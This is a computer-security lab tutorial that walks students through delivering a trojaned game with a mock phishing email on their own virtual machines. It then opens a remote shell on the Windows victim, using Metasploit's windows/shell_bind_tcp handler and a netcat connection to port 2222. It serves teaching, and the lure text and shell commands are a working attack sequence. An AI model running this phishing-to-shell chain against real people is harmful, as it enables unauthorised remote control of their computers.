(Trojan Horse 1: Lesson 4)

{ Social Engineer Trojan Horse and Connect with Metasploit and Netcat }

Section 0. Background Information

Pre-Requisite Lab
Overview
- This is the final piece of the exploit, where the unsuspecting user receives an email with a web link saying "Merry Christmas,,, I have this great snowball fight game for you to play."
- The Victim Clicks on the link, unzips and clicks on the Trojan Horse we previously built.
- Once activated, we can use Metasploit and/or Netcat to connect to their machine.
- However there is a caveat
  - This particular implementation of Netcat will only work if (1) the user is on the same network as you, or (2) the user does not have a NAT'ed IP Address (a.k.a public IP address, which is dangerous).

Legal Disclaimer
- As a condition of your use of this Web site, you warrant to computersecuritystudent.com that you will not use this Web site for any purpose that is unlawful or that is prohibited by these terms, conditions, and notices.
- In accordance with UCC § 2-316, this product is provided with "no warranties, either express or implied." The information contained is provided "as-is", with "no guarantee of merchantability."
- In addition, this is a teaching website that does not condone malicious behavior of any kind.
- Your are on notice, that continuing and/or using this lab outside your "own" test environment is considered malicious and is against the law.

Section 1. Start Up BackTrack5R1

Start Up BackTrack5R1.
- Instructions:
  1. Start Up your VMware Player
  2. Play virtual machine
Login to BackTrack
- Instructions:
  1. Login: root
  2. Password: toor or <whatever you changed it to>.
Bring up the GNOME
- Instructions:
  1. Type startx
Start up a terminal window
- Instructions:
  1. Click on the Terminal Window
Obtain the IP Address
- Instructions:
  1. ifconfig -a
- Notes:
  - My IP address 192.168.1.105. In your case, it will probably be different.
  - You will later use this IP Address when give the prospective Victim the web link to the Trojan Horse Game.

Section 2. Start Up BackTrack Apache Web Server

Check if Apache Web Server is Running
- Instructions:
  1. ps -eaf | grep apache | grep -v grep | wc -l
    - "0" was returned because the Apache Web Server is not running.
  2. /etc/init.d/apache2 start
    - This is the Apache Web Server start up script.
  3. ps -eaf | grep apache
- Notes:
  - Apache2 comes standard with BackTrack5R1.
  - If your version of BackTrack5R1 does not come with Apache, then do the following:
    1. dpkg --get-selections | grep apache2
      - If you do not see apache2 as installed, then continue to the next step..
    2. apt-get install apache2

Section 3. Start Up Windows Machine

Booting up W7P32B
- Instructions:
  1. Start up VMware Player
  2. Select W7P32B
  3. Play Virtual Machine
- Note:
  - For those of you that are not part of my class, W7P32Bis a Windows 7 32 Bit Operating System.
  - Any version of Windows can be used.
  - But you must have first completed the pre-requisite labs listed in the overview section.
W7P32B Authentication
- Instructions:
  1. Login as student

Section 4. Start up Internet Explorer

Start Up Internet Explorer
- Instructions:
  1. In the search box type "Internet Explorer"
  2. Under Programs, click on Internet Explorer
Social Engineer Game
- Instructions:
  1. Pretending, you could simulate receiving an email with a link pointing to the Trojan Horse game.
  2. In the Windows Internet Explorer address window put in the following address:
    - http://192.168.1.105/html/games/snowcraft.zip
    - Note: Replace 192.168.1.105 with the IP Address obtained from Section 1, Step 5.
  3. Press Enter
- .
File Download
- Instructions:
  1. Click Save
Save File
- Instructions:
  1. The default download location should be as follows
    - C:\Users\student\Downloads.
  2. Click Save
Open Folder
- Instructions:
  1. Click on Open Folder
Extract Zip File
- Instructions:
  1. Right Click on snowcraft
  2. Select Extract All...
Select a Destination and Extract Files
- Instructions:
  1. Take the Default location
  2. Click on Extract
Open the snowcraft folder
- Instructions:
  1. Right Click on snowcraft
  2. Click on Open
Play Game
- Instructions:
  1. Double Click on the snowcraft game

Section 5. Its Metasploit Time

Obtain IP Address of Victim Machine
- Instructions:
  1. cd /var/log/apache2
  2. grep snowcraft access.log | tail | awk '{print $1}'
- Note:
  - You can review the Apache log called access.log for anybody that download the snowcraft.zip file.
  - In this example, we see that the Victim machine is 192.168.1.110.
  - In your case, the IP address will be different.
Start Up Metasploit msfconsole
- Instructions:
  1. Applications --> msfconsole --> Exploitation Tools --> Network Exploitation Tools --> Metasploit Framework --> msfconsole.
- Note:
  - Metasploit takes about 5 to 20 seconds to start up
Set Handler and Payload
- Instructions:
  1. use multi/handler
  2. set PAYLOAD windows/shell_bind_tcp
Set Options, Launch Exploit
- Instructions:
  1. show options
    - LPORT - This is the port of the victim's machine.
    - RHOST - This is the IP Address of the victim's machine.
  2. set LPORT 2222
    - Remember we are running chest.exe disguished as NetCat running on port 2222.
  3. set RHOST 192.168.1.110
    - This is the IP Address you obtain in Step 1 of this section.
  4. exploit -z
    - In my past labs, I have not used the "-z".
    - The "-z" option, backgrounds the process, so we can later upgrade to a Metasploit meterpreter session.
Set Options, Launch Exploit
- Instructions:
  1. Now that BackTrack is now connect to the Victim's machine using port 2222.
  2. sessions -l
    - List all the Metasploit sessions.
  3. sessions -i 1
    - Use Shell Session 1
Welcome to to the DOS prompt
- Instructions:
  1. cd \
  2. dir
  3. echo "Your Name"
  4. date
  5. Press <Enter>
- Partial Proof of Lab:
  1. Do a PrtScn
  2. Paste into a word document
Exit Metasploit
- Instructions:
  1. Press the both the <Ctrl> and <z> keys at the same time.
  2. Answer "y"
  3. exit -y

Section 6. Use Netcat to connect to Netcat

Start up a terminal window
- Instructions:
  1. Click on the Terminal Window
Use BackTrack's Netcat to connect to the Victim's Netcat
- Instructions:
  1. nc -v 192.168.1.110 2222
    - In your case, use the Victim's IP address you obtained in Section 1, Step 5.
  2. dir
  3. echo "Your Name"
- Partial Proof of Lab:
  1. Do a PrtScn
  2. Paste into the SAME word document

Section 7. Proof of Lab

Do Section 5, Step 5 and Section 6, Step 2.
- Proof of Lab:
  1. Do the required PrtScn's
  2. Paste into the SAME word document
  3. Upload to Moodle